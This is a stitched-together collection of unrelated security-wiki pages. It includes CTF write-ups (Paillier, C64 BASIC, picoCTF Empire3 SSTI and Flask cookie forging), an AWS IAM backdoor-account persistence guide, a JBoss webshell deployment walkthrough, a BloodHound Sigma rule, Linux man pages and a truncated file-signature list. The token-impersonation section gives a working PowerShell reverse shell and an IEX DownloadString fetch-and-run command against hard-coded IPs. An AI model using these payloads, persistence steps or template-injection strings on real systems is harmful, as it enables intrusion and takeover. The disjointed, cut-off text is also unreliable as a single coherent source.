paillier_encrypt_simple(bytes_to_long("hitcon{ala ma kota a sierotka ma rysia}"), n + 1, n) def decryptor(p, q, data): data = bytes_to_long(data) decrypted = paillier_decrypt(data, [p, q], p * q + 1) to_bytes = long_to_bytes(decrypted) return to_bytes.encode("hex")[-2:] print(recover_flag(lambda data: decryptor(p, q, data), flag, n, bitsize, "sierotka ma rysia}")) # sanity_recover_flag()
sec-knowleage
# Back to the basics, re, 293p >You won't find any assembly in this challenge, only C64 BASIC. Once you get the password, the flag is CTF{password}. P.S. The challenge has been tested on the VICE emulator. Running the attached file on the emulator greets us with password prompt, so we probably have to guess it. The binary was "compiled" BASIC code, and running it through a few disassemblers showed only a couple of lines of source; much less than what we would expect from 32kB binary. There are a few strange `POKE`s there, and when we checked what addresses they write to, it turned out to be program memory - so we have a self-modifying code there! Not willing to run it with debugger, I wrote a simple dumb disassembler, not stopping on any errors - `replace.py`. We then found some extra lines: ``` 2001 POKE 03397, 00069 : POKE 03398, 00013 2002 POKE 1024 + CHKOFF + 1, 81:POKE 55296 + CHKOFF + 1, 7 2004 ES = 03741 : EE = 04981 : EK = 148 2005 FOR I = ES TO EE : K = ( PEEK (I) + EK ) AND 255 : POKE I, K : NEXT I 2009 POKE 1024 + CHKOFF + 1, 87 ``` These lines seem to be decoding some data, which happened to be garbage bytes placed right afterwards. We wrote a script running the same algorithm (in a few places, since there were multiple blocks of code like that) - `decode.py`. Disassembling the new code too, we found most of it readable. The encrypted chunks were of following form: ``` 2010 V = 0.6666666666612316235641 - 0.00000000023283064365386962890625 : G = 0 2020 BA = ASC ( MID$ (P$, 1, 1) ) 2021 BB = ASC ( MID$ (P$, 2, 1) ) 2025 P0 = 0:P1 = 0:P2 = 0:P3 = 0:P4 = 0:P5 = 0:P6 = 0:P7 = 0:P8 = 0:P9 = 0:PA = 0:PB = 0:PC = 0 2030 IF BA AND 1 THEN P0 = 0.062500000001818989403545856475830078125 2031 IF BA AND 2 THEN P1 = 0.0156250000004547473508864641189575195312 2032 IF BA AND 4 THEN P2 = 0.0039062500001136868377216160297393798828 2033 IF BA AND 8 THEN P3 = 0.0009765625000284217094304040074348449707 2034 IF BA AND 16 THEN P4 = 0.0002441406250071054273576010018587112427 2035 IF BA AND 32 THEN P5 = 0.0000610351562517763568394002504646778107 2036 IF BA AND 64 THEN P6 = 0.0000152587890629440892098500626161694527 2037 IF BA AND 128 THEN P7 = 0.0000038146972657360223024625156540423632 2040 IF BB AND 1 THEN P8 = 0.0000009536743164340055756156289135105908 2031 IF BB AND 2 THEN P9 = 0.0000002384185791085013939039072283776477 2032 IF BB AND 4 THEN PA = 0.0000000596046447771253484759768070944119 2033 IF BB AND 8 THEN PB = 0.000000014901161194281337118994201773603 2034 IF BB AND 16 THEN PC = 0.0000000037252902985703342797485504434007 2050 K = V + P0 + P1 + P2 + P3 + P4 + P5 + P6 + P7 + P8 + P9 + PA + PB + PC 2060 G = 0.671565706376017 2100 T0 = K = G : A = 86 : B = 10 2200 IF T0 = - 1 THEN A = 83 : B = 5 2210 POKE 1024 + CHKOFF + 1, 90 2500 REM ``` `P` was our password, and the code seems to be checking if sum of some bits of the password multiplied by a few float constants is equal to another constant - i.e. subset sum problem. We simply brute forced all the possibilities and saved the one that gave result closest to the expected - `final.py`. Combining answers to a single text, yields the flag: `LINKED-LISTS-AND-40-BIT-FLOATS`.
sec-knowleage
--- title: 利用 IAM 进行权限维持 --- <center><h1>利用 IAM 进行权限维持</h1></center> --- 利用 IAM 进行权限维持的原理也比较简单,直接在 IAM 中创建一个拥有高权限的用户即可。 例如这里选择添加用户,访问类型选择控制台密码 </br><img width="800" src="/img/1651980416.png"></br> 「设置权限」选择「直接附加现有策略」,策略选择「AdministratorAccess」,即表示附加所有策略 </br><img width="800" src="/img/1651980443.png"></br> 创建完成后,会提供自动生成的密码与登录地址,使用这个登录地址和密码直接登录即可,这时我们就制作好了一个后门账户。 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年5月8日" } } </script>
sec-knowleage
.TH PSFADDTABLE 1 "28 Oct 1997" "控制台工具" "Linux 用户手册" .SH NAME psfaddtable \- 添加一个Unicode字符表到控制台字体中 .SH 总览 .B psfaddtable .I 字体文件 表文件 [输出文件] .SH 描述 .B Psfaddtable 命令融合了 .I 字体文件 提供的 .psf 格式的控制台字 体和 .I 表文件 提供的Unicode字符表, 生成一个带有嵌入字符表的 字体文件, 并将其写到 .I 输出文件 (如果该文件给出, 否则写到标 准输出). .I 字体文件 或者 .I 输出文件 都可以用单个的破折号(\-)取 代以从标准输入读入, 但不能两者同时都是. 如果 .I 字体文件 已经 包含了一个嵌入字符表, 会被忽略. .SH 表文件格式 .I Tablefile 文件中各行可以是空白行, 或者是注释行(以 .IR # 领头), 也可以包含一串十进制数字(缺省情况), 或者包含一串八进制数字 (以 .IR 0 领头), 或包含一串十六进制数字(以 .IR 0x 领头). 各行第一个 数字指出所索引字体中的符号位置, 对于256\-字符的字体, 该数在 0到0xff之间, 而对于512\-字符的字体, 该数则处在0到0x1ff之间. 同一行中随后的任何一个数字都是该特有符号位置的Unicode匹配. 另外对同一个符号允许有多个行. .SH "另见" .BR consolechars (8), .BR psfgettable (1), .BR psfstriptable (1).
sec-knowleage
# Empire3 Web Exploitation, 500 points ## Description: > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? ## Solution: This is the follow-up for [Empire2](Empire2.md). We'll use the same solution that worked for the previous challenge: ```console root@kali:/media/sf_CTFs/pico/Empire3# python shell.py Logged in (Cmd) send 4*4 Sending: '{{4*4}}' 16 (Cmd) send ''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', '__init__.py')).read () Sending: '{{''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__['open'](''.__class__.mro()[1].__subclasses__()[157]()._module.__builtins__.__import__('os').path.join('app', '__init__.py')).read()}}' from flask import Flask from app.config import Config from flask_sqlalchemy import SQLAlchemy from flask_login import LoginManager from flask_bootstrap import Bootstrap import time,atexit from apscheduler.schedulers.background import BackgroundScheduler app = Flask(__name__) app.config.from_object(Config) db = SQLAlchemy(app) login = LoginManager(app) login.login_view = 'login' bootstrap=Bootstrap(app) from app import routes,models def DB_init(db): db.drop_all() db.create_all() u = models.User(username='jarrett.booz',password_hash='deadbeef',id=1,admin=0,secret='Likes Oreos.', name="Jarrett Booz") db.session.add(u) u = models.User(username='danny.tunitis',password_hash='deadbeef',id=2,admin=0,secret='Know it all.', name= "Danny Tunitis") db.session.add(u) c = models.Todo(item='Shrink the moon', user_id=1) db.session.add(c) c = models.Todo(item='Grab the moon', user_id=1) db.session.add(c) c = models.Todo(item='Sit on the toilet', user_id=1) db.session.add(c) c = models.Todo(item='Make 2000 more Pico problems', user_id=2) db.session.add(c) c = models.Todo(item='Do dastardly plan: picoCTF{cookies_are_a_sometimes_food_8038d44f}', user_id=2) db.session.add(c) c = models.Todo(item='Buy milk', user_id=2) db.session.add(c) db.session.commit() try: DB_init(db) scheduler = BackgroundScheduler() scheduler.add_job(func=DB_init,args=(db,),trigger="interval",hours=2) scheduler.start() atexit.register(lambda: scheduler.shutdown()) except Exception as e: print(e) ``` The flag is related to cookies (`picoCTF{cookies_are_a_sometimes_food_8038d44f}`), so again, this looked like an unintended solution. ## Additional Solution An additional way to solve the challenge, based on [another writeup](http://cyberchallenge.unica.it/index.php/2019/10/13/web-empire3/). This is probably the intended solution. It's also pretty similar to last year's [Flaskcards Skeleton Key](/2018_picoCTF/Flaskcards%20Skeleton%20Key.md) First, we read the Flask configuration to get the secret key used for signing the cookies: ```console root@kali:/media/sf_CTFs/pico/Empire3# python shell.py Logged in (Cmd) send config Sending: '{{config}}' <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9806d62bb5f4986c09a3872abf448e85', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite://', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}> (Cmd) exit ``` We sign in and save the cookie: ```console root@kali:/media/sf_CTFs/pico/Empire3# base_url=https://2019shell1.picoctf.com/problem/45132; curl "$base_url/login" --cookie "cookies.txt" --cookie-jar "cookies.txt" -s -v --data "csrf_token=$(curl "$base_url/login" --cookie "cookies.txt" --cookie-jar "cookies.txt" -s | grep csrf | awk '{ printf $5 }' | sed 's/value="//g' | sed 's/">//')&username=user&password=password" 2>&1 | grep Cookie > Cookie: session=.eJwlz01qAzEMQOG7eJ2FrV8rlxksWaKl0MJMsiq9ewI9wIPv_bajzrw-2v1xPvPWjs_d7s2oyhZKMuvWRaG5t0lIUJnN3jt31k7u5emTF8gyU89hsIcKgc_ZR6DtLMYOYzDhnrrUapoQaRlwLjIK4aANDEHqIqPIV7u1uM46Hj9f-f32qK5wMcG5MYeiR6Qr9EBWzHCLTJjA7-555fk_ge3vBWc8PpY.XaXtmg.iKsUADWNOPFQ4iKm3eYHoF4v0qI < Vary: Cookie ``` We decode the cookie with [flask-session-cookie-manager](https://github.com/noraj/flask-session-cookie-manager) (note that I had to use the Python3 version this time, as the Python2 version created cookies that were rejected by the server in the next step): ```console root@kali:/media/sf_CTFs/pico/Empire3# c=.eJwlz01qAzEMQOG7eJ2FrV8rlxksWaKl0MJMsiq9ewI9wIPv_bajzrw-2v1xPvPWjs_d7s2oyhZKMuvWRaG5t0lIUJnN3jt31k7u5emTF8gyU89hsIcKgc_ZR6DtLMYOYzDhnrrUapoQaRlwLjIK4aANDEHqIqPIV7u1uM46Hj9f-f32qK5wMcG5MYeiR6Qr9EBWzHCLTJjA7-555fk_ge3vBWc8PpY.XaXtmg.iKsUADWNOPFQ4iKm3eYHoF4v0qI root@kali:/media/sf_CTFs/pico/Empire3# python3 ~/utils/flask-session-cookie-manager/flask_session_cookie_manager3.py decode -s '9806d62bb5f4986c09a3872abf448e85' -c "$c" {'_fresh': True, '_id': '94ff9a36e557d7a4c7edd96c6c4f998000505704bbfbeb85a26a997be192d17642b8801c39def530211543d87a79f896447f925ea494c65c4d252c47b661f4ba', 'csrf_token': '77acb69638d3e173bcceb720c3573ecb9cee2825', 'user_id': '3'} ``` Edit the cookie and set `user_id` to `2` instead of `3`: ```console root@kali:/media/sf_CTFs/pico/Empire3# python3 ~/utils/flask-session-cookie-manager/flask_session_cookie_manager3.py encode -s '9806d62bb5f4986c09a3872abf448e85' -t "{'_fresh': True, '_id': '94ff9a36e557d7a4c7edd96c6c4f998000505704bbfbeb85a26a997be192d17642b8801c39def530211543d87a79f896447f925ea494c65c4d252c47b661f4ba', 'csrf_token': '77acb69638d3e173bcceb720c3573ecb9cee2825', 'user_id': '2'}" .eJwlz0lqAzEQQNG7aO2FVKpB5cs0qomEQALd9irk7jbkAB_e_21HnXl9tPvjfOatHZ_R7k2xSvfkJJKQjS4ZoezsWKqr906dpKNZWdqiDbxVxXIoxBBGsLX68KmRRbPDGIQzlmzRWsqIUgqUGxWdyTGAwFGMeRTabrfm11nH4-crv98eke3GynPFzCHT3NMEuk-SmW7qmbCA3t3zyvN_AtrfC2c5PpU.XaX3qA.ORVdqh-0iJQkIjXNcElr5vSPjZY ``` List the TODOs with for user 2 and read the flag: ```console root@kali:/media/sf_CTFs/pico/Empire3# curl "$base_url/list_items" -H "Cookie: session=.eJwlz0lqAzEQQNG7aO2FVKpB5cs0qomEQALd9irk7jbkAB_e_21HnXl9tPvjfOatHZ_R7k2xSvfkJJKQjS4ZoezsWKqr906dpKNZWdqiDbxVxXIoxBBGsLX68KmRRbPDGIQzlmzRWsqIUgqUGxWdyTGAwFGMeRTabrfm11nH4-crv98eke3GynPFzCHT3NMEuk-SmW7qmbCA3t3zyvN_AtrfC2c5PpU.XaX3qA.ORVdqh-0iJQkIjXNcElr5vSPjZY" -s | grep picoCTF <strong>Very Urgent: </strong>Do dastardly plan: picoCTF{cookies_are_a_sometimes_food_8038d44f} ```
sec-knowleage
# 性能监控 --- ## Actuator监控 ### Actuator 简介 在生产环境中,往往需要对系统实际运行的情况(例如 cpu、io、disk、db、业务功能等指标)进行监控运维。在 SpringBoot 项目中 Actuator 模块提供了众多 HTTP 接口端点(Endpoint),来提供应用程序运行时的内部状态信息。 Actuator 模块提供了一个监控和管理生产环境的模块,可以使用 http、jmx、ssh、telnet 等来管理和监控应用。包括应用的审计(Auditing)、健康(health)状态信息、数据采集(metrics gathering)统计等监控运维的功能。同时,提供了可以扩展 Actuator 端点(Endpoint)自定义监控指标。这些指标都是以 JSON 接口数据的方式呈现。 需要注意的是,SpringBoot 1.x 和 2.x 的 Actuator 监控设置差别很大,不仅提供的 endpoint 路径不一樣,连 application.properties 的配置也不一样 --- ### 使用 Spring Boot Actuator 如果要使用 Spring Boot Actuator 提供的监控功能,需要先加入相关的 maven dependency依赖 ```xml <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.5.3</version> <relativePath/> <!-- lookup parent from repository --> </parent> <!-- actuator 依赖 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency> <!-- WEB 依赖 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> ``` 只要加上了这个 maven dependency,SpringBoot在运行时就会自动开启/actuator/health和/actuator/info这两个 endpoint,然后就可以通过这两个 endpoint查看当前 SpringBoot应用程序的运行情况,例如自动化配置信息、创建的 Spring beans 以及一些环境属性等。 为了保证 actuator 暴露的监控接口的安全性,需要添加安全控制的依赖 spring-boot-start-security 依赖,访问应用监控端点时,都需要输入验证信息。 ```xml <dependency> <!--Security 依赖 --> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-security</artifactId> </dependency> ``` 如果添加了security安全管理,只需要在配置文件配置用户名和密码就可以了 ```yaml spring: security: user: name: admin password: 123456 ``` --- ### 开启 Actuator 所有 endpoints - https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html application.properties ```conf management.endpoints.web.exposure.include=* ``` --- ### 配置 jmx 形式的监控 ```conf management.endpoints.jmx.exposure.include=* ``` --- ## Prometheus **添加依赖** ```xml <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency> <dependency> <groupId>io.micrometer</groupId> <artifactId>micrometer-core</artifactId> </dependency> <dependency> <groupId>io.micrometer</groupId> <artifactId>micrometer-registry-prometheus</artifactId> </dependency> ``` 打开 Prometheus 监控接口 application.properties ```conf server.port=8088 spring.application.name=springboot2-prometheus management.endpoints.web.exposure.include=* management.metrics.tags.application=${spring.application.name} ``` 访问 /actuator/prometheus --- ## Source & Reference - https://blog.51cto.com/u_15287666/3109393 - https://www.mobaijun.com/posts/283491354.html - https://blog.csdn.net/shuofxz/article/details/118213813 - https://juejin.cn/post/6844904052417904653#heading-29
sec-knowleage
# JBoss未授权访问漏洞 ## 漏洞描述 JBoss 是一个管理 EJB 的容器和服务器,支持 EJB 1.1、EJB 2.0 和 EJB3 的规范。但 JBoss 核心服务不包括支持 [servlet](https://so.csdn.net/so/search?q=servlet&spm=1001.2101.3001.7020)/JSP 的 WEB 容器,一般与 Tomcat 或 Jetty 绑定使用。JBoss 默认在 8080 端口监听。 在低版本的 JBoss 中,默认可以访问 JBoss Web 控制台(http://IP:8080/jmx-console),无需用户名和密码。通过 JBoss 未授权访问管理控制台的漏洞,可以进行后台服务管理,可以通过脚本命令执行系统命令,如反弹 shell、wget 写 Webshell 文件。 ## 环境搭建 这里用CVE-2017-7504的漏洞环境,启动环境 ``` [root@localhost CVE-2017-7504]# docker-compose up ``` 浏览器访问**8080**端口 ![image-20220519164112458](../../.gitbook/assets/image-20220519164112458.png) ## 漏洞复现 发现jboss默认页面,点击进入控制页 ![image-20220519164128954](../../.gitbook/assets/image-20220519164128954.png) 假设是未授权访问的话,点击`JMX-Console`不会提示输入用户名、密码,而这个地方用的是别的漏洞的环境,用户名密码都是admin、admin,所以就假装是不用输入用户名密码的 ![image-20220519164230508](../../.gitbook/assets/image-20220519164230508.png) 往下找jboss.deployment进入应用部署页面 ![image-20220519164333567](../../.gitbook/assets/image-20220519164333567.png) 进入应用部署页面后,下滑找到`void addURL()`,这里`ParamValue`部分填写远程服务器上的木马的地址。 ![image-20220519164708691](../../.gitbook/assets/image-20220519164708691.png) 访问`iceword`路径,就可以看到webshell ![image-20220519165050177](../../.gitbook/assets/image-20220519165050177.png)
sec-knowleage
# T1049/1069-bloodhound使用 ## 来自ATT&CK的描述 T1049:攻击者可能会通过查询网络上的信息来尝试获取与他们当前正在访问的受感染系统之间或从远程系统获得的网络连接的列表。 T1069:攻击者可能会尝试查找本地系统或域级别的组和权限设置。 ## 测试案例 BloodHound是一种单页的JavaScript的Web应用程序,构建在Linkurious上,用Electron编译,NEO4J数据库是PowerShell/C# ingesto。 BloodHound使用可视化图来显示Active Directory环境中隐藏的和相关联的主机内容。攻击者可以使用BloodHound轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用BloodHound来识别和防御那些相同的攻击路径。蓝队和红队都可以使用BloodHound轻松深入了解Active Directory环境中的权限关系。 ## 检测日志 windows 安全日志 ## 测试复现 ```dos SharpHound.exe -c ALL ``` ## 测试留痕 windows安全日志、5145 ## 检测规则/思路 ### sigma规则 ```yml title: Bloodhound and Sharphound Hack Tool description: Detects command line parameters used by Bloodhound and Sharphound hack tools references: - https://github.com/BloodHoundAD/BloodHound - https://github.com/BloodHoundAD/SharpHound tags: - attack.discovery - attack.t1049 logsource: category: process_creation product: windows detection: selection1: Image|contains: - '\Bloodhound.exe' - '\SharpHound.exe' selection2: CommandLine|contains: - ' -CollectionMethod All ' - '.exe -c All -d ' - 'Invoke-Bloodhound' - 'Get-BloodHoundData' selection3: CommandLine|contains|all: - ' -JsonFolder ' - ' -ZipFileName ' selection4: CommandLine|contains|all: - ' DCOnly ' - ' --NoSaveCache ' condition: 1 of them falsepositives: - Other programs that use these command line option and accepts an 'All' parameter level: high ``` ### 建议 基于进程命令名称进行检测,准确率极低,谨慎使用检测条件1. ## 参考推荐 MITRE-ATT&CK-T1049 <https://attack.mitre.org/techniques/T1049/> MITRE-ATT&CK-T1069 <https://attack.mitre.org/techniques/T1069/> bloodhound <https://github.com/BloodHoundAD/BloodHound> 域分析神器 <https://www.cnblogs.com/KevinGeorge/p/10513211.html>
sec-knowleage
# 令牌伪造 令牌伪造这种技术可以用本地管理员的权限模拟登陆到其他计算机上,比如登陆到域管的机器上。 ## powershell 使用powershell的模块可以达到令牌伪造的目的,生成一个新进程作为你模拟的用户,但是可以在同一个线程内工作,所以,你输入`whoami`可能回显出的是原始用户名,但你仍然拥有目标用户的权限。 这个时候你迁移新的进程到这个进程,就拥有了目标用户的shell。 这个模块在powersploit中: ``` https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e92bb6243c177d7d1d7e68b6f1816/Exfiltration/Invoke-TokenManipulation.ps1 ``` 作为域用户调用令牌伪造。没作用的话,可以尝试模拟SYSTEM,然后使用mimikatz dump凭据。 ``` Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser" Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM" Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" ``` 或者: ``` Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};" ``` ## 利用邪恶土豆 邪恶土豆是一种特权升级技术,允许通过令牌伪造从服务级别帐户升级到SYSTEM权限账户。可以通过在Empire或Metasploit中上传一个exe文件漏并执行或通过内存注入psinject来实现。有关更多详细信息,请参阅Foxglove security对漏洞的介绍---->https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/。 ### Meterpreter 获取一个普通用户的`meterpreter shell`并将rot.exe上传到这个机器。  ``` getuid:显示用户身份 whoami getprivs :显示有效的token getsystem:如果是本地管理员,则允许直接在meterpreter中进行SYSTEM令牌伪造 use incognito: 列出可用的扩展 list_tokens -u :列出可用的token ``` 也可以将它作为dll上传到磁盘中并使用rundll32来执行它。 ``` execute -H -c -m -d calc.exe -f /root/rot.exe upload rot.dll "c:\temp\rot.dll" execute -H -c -f "rundll32 c:\temp\rot.dll ``` 再次执行一下`list_tokens -u`试试 然后就是冒充system了。 ``` impersonate_token "NT AUTHORITY\SYSTEM" ``` ok,get system! ## Lonely potato (译者注:这老毛子起的名字怎么这么奇葩的,孤独的土豆,上面个叫烂土豆) https://decoder.cloud/2017/12/23/the-lonely-potato/ https://github.com/decoder-it/lonelypotato 我在Windows 10上使用Defender做了测试,没有触发报警。你也可以实现一个更好的混淆然后反弹shell。 创建一个反弹shell的powershell文件 ``` powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.9',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" ``` 执行后,查看权限: ``` whoami /priv ``` 如果只有SeImpersonatePrivilege,使用这个参数:CreateProcesAsUser, (t) 如果你有SeImpersonatePrivilege 和 SeAssignPrimaryToken,使用CreateProcessWithTokenW, (*) 参数。 先监听,执行文件: ``` c:\windows\temp\MSFRottenPotato.exe t c:\windows\temp\test.bat ```
sec-knowleage
diff === 比较给定的两个文件的不同 ## 补充说明 **diff命令** 在最简单的情况下,比较给定的两个文件的不同。如果使用“-”代替“文件”参数,则要比较的内容将来自标准输入。diff命令是以逐行的方式,比较文本文件的异同处。如果该命令指定进行目录的比较,则将会比较该目录中具有相同文件名的文件,而不会对其子目录文件进行任何比较操作。 ### 语法 ```shell diff(选项)(参数) ``` ### 选项 ```shell -<行数>:指定要显示多少行的文本。此参数必须与-c或-u参数一并使用; -a或--text:diff预设只会逐行比较文本文件; -b或--ignore-space-change:不检查空格字符的不同; -B或--ignore-blank-lines:不检查空白行; -c:显示全部内容,并标出不同之处; -C<行数>或--context<行数>:与执行“-c-<行数>”指令相同; -d或--minimal:使用不同的演算法,以小的单位来做比较; -D<巨集名称>或ifdef<巨集名称>:此参数的输出格式可用于前置处理器巨集; -e或--ed:此参数的输出格式可用于ed的script文件; -f或-forward-ed:输出的格式类似ed的script文件,但按照原来文件的顺序来显示不同处; -H或--speed-large-files:比较大文件时,可加快速度; -l<字符或字符串>或--ignore-matching-lines<字符或字符串>:若两个文件在某几行有所不同,而之际航同时都包含了选项中指定的字符或字符串,则不显示这两个文件的差异; -i或--ignore-case:不检查大小写的不同; -l或--paginate:将结果交由pr程序来分页; -n或--rcs:将比较结果以RCS的格式来显示; -N或--new-file:在比较目录时,若文件A仅出现在某个目录中,预设会显示:Only in目录,文件A 若使用-N参数,则diff会将文件A 与一个空白的文件比较; -p:若比较的文件为C语言的程序码文件时,显示差异所在的函数名称; -P或--unidirectional-new-file:与-N类似,但只有当第二个目录包含了第一个目录所没有的文件时,才会将这个文件与空白的文件做比较; -q或--brief:仅显示有无差异,不显示详细的信息; -r或--recursive:比较子目录中的文件; -s或--report-identical-files:若没有发现任何差异,仍然显示信息; -S<文件>或--starting-file<文件>:在比较目录时,从指定的文件开始比较; -t或--expand-tabs:在输出时,将tab字符展开; -T或--initial-tab:在每行前面加上tab字符以便对齐; -u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同; -v或--version:显示版本信息; -w或--ignore-all-space:忽略全部的空格字符; -W<宽度>或--width<宽度>:在使用-y参数时,指定栏宽; -x<文件名或目录>或--exclude<文件名或目录>:不比较选项中所指定的文件或目录; -X<文件>或--exclude-from<文件>;您可以将文件或目录类型存成文本文件,然后在=<文件>中指定此文本文件; -y或--side-by-side:以并列的方式显示文件的异同之处; --help:显示帮助; --left-column:在使用-y参数时,若两个文件某一行内容相同,则仅在左侧的栏位显示该行内容; --suppress-common-lines:在使用-y参数时,仅显示不同之处。 ``` ### 参数 * 文件1:指定要比较的第一个文件; * 文件2:指定要比较的第二个文件。 ### 实例 #### 以正常模式比较差异 ```shell diff a.txt b.txt ``` #### 以上下文 (context) 模式比较差异 ```shell diff -c a.txt b.txt ``` ```shell   *** a1.txt 2012-08-29 16:45:41.000000000 +0800   --- a2.txt 2012-08-29 16:45:51.000000000 +0800   ***************   *** 1,7 ****    a    a    a   !a    a    a    a   --- 1,7 ----    a    a    a   !b    a    a    a ``` #### 以联合 (unified) 模式比较差异 ```shell diff -u a.txt b.txt ``` ```shell   --- a.txt 2012-08-29 16:45:41.000000000 +0800   +++ b.txt 2012-08-29 16:45:51.000000000 +0800   @@ -1,7 +1,7 @@    a    a    a   -a   +b    a    a    a ``` #### 多文件比较差异 将目录`/usr/li`下的文件"test.txt"与当前目录下的文件"test.txt"进行比较,输入如下命令: ```shell diff /usr/li test.txt #使用diff指令对文件进行比较 ``` 上面的命令执行后,会将比较后的不同之处以指定的形式列出,如下所示: ```shell n1 a n3,n4 n1,n2 d n3 n1,n2 c n3,n4 ``` 其中,字母"a"、"d"、"c"分别表示添加、删除及修改操作。而"n1"、"n2"表示在文件1中的行号,"n3"、"n4"表示在文件2中的行号。 注意:以上说明指定了两个文件中不同处的行号及其相应的操作。在输出形式中,每一行后面将跟随受到影响的若干行。其中,以<开始的行属于文件1,以>开始的行属于文件2。
sec-knowleage
# 文件头 --- 文件的扩展名是用来识别文件类型的。通过给他指定扩展名,我们可以告诉自己,也告诉操作系统我们想用什么方式打开这个文件。比如我么会把 .jpg 的文件默认用图片显示软件打开,.zip 文件会默认用解压软件打开等等。 然而,扩展名完全是可以随便改改的。我们可以给文件设置一个任意的扩展名,当然也可以不设置扩展名。这样一来我们就不能了解到这个文件究竟是做什么的,究竟是个什么样的文件。我们或许也会疑惑,为什么一个软件,比如视频播放器,就能用正确的方式打开.mp4 .rmvb .wmv 等等的视频? 事实上,所有的文件都是以二进制的形式进行存储的,本质上没有差别。之所以使用的方法不同,只是因为我们理解他的方式不同。在每一个文件(包括图片,视频或其他的非 ASCII 文件)的开头(十六进制表示)实际上都有一片区域来显示这个文件的实际用法,这就是文件头标志。 Linux 下我们可以用 file 命令直接查看文件的实际格式,但是他本质上也是利用文件头标志来进行文件类型判断的。 --- - [Just Solve the File Format Problem](http://fileformats.archiveteam.org/wiki/Main_Page) - [文件头一览](./文件头.xlsx) --- > 每次都要开 excel 搜,有时候还搜不出来,干脆直接 Ctrl+cv 复制到这边搜吧 - NTDS.dit AC 74 F4 04 EF CD AB 89 - system 72 65 67 66 - 123 00 00 1A 00 05 10 04 - 3gg; 3gp; 3g2 00 00 00 nn 66 74 79 70 33 67 70 - 7z 37 7A BC AF 27 1C - aba 00 01 42 41 - abi 41 4F 4C 49 4E 44 45 58 - aby; idx 41 4F 4C 44 42 - accdb 00 01 00 00 53 74 61 6E 64 61 72 64 20 41 43 45 20 44 42 - ACM 4D 5A - ADF 44 4F 53 - adx 03 00 00 00 41 50 50 52 - AIFF 46 4F 52 4D 00 - ain 21 12 - ami 5B 76 65 72 5D - amr 23 21 41 4D 52 - ANI 52 49 46 46 - API 4D 5A 90 00 03 00 00 00 - arc 1A 0x - arc 41 72 43 01 - arj 60 EA - ARJ 60 EA 27 - ART 4A 47 03 0E 00 00 00 - ART 4A 47 04 0E 00 00 00 - asf 30 26 B2 75 8E 66 CF 11 - asf; wma; wmv 30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C - asx 3C - au 2E 73 6E 64 - avi 41 56 49 20 - 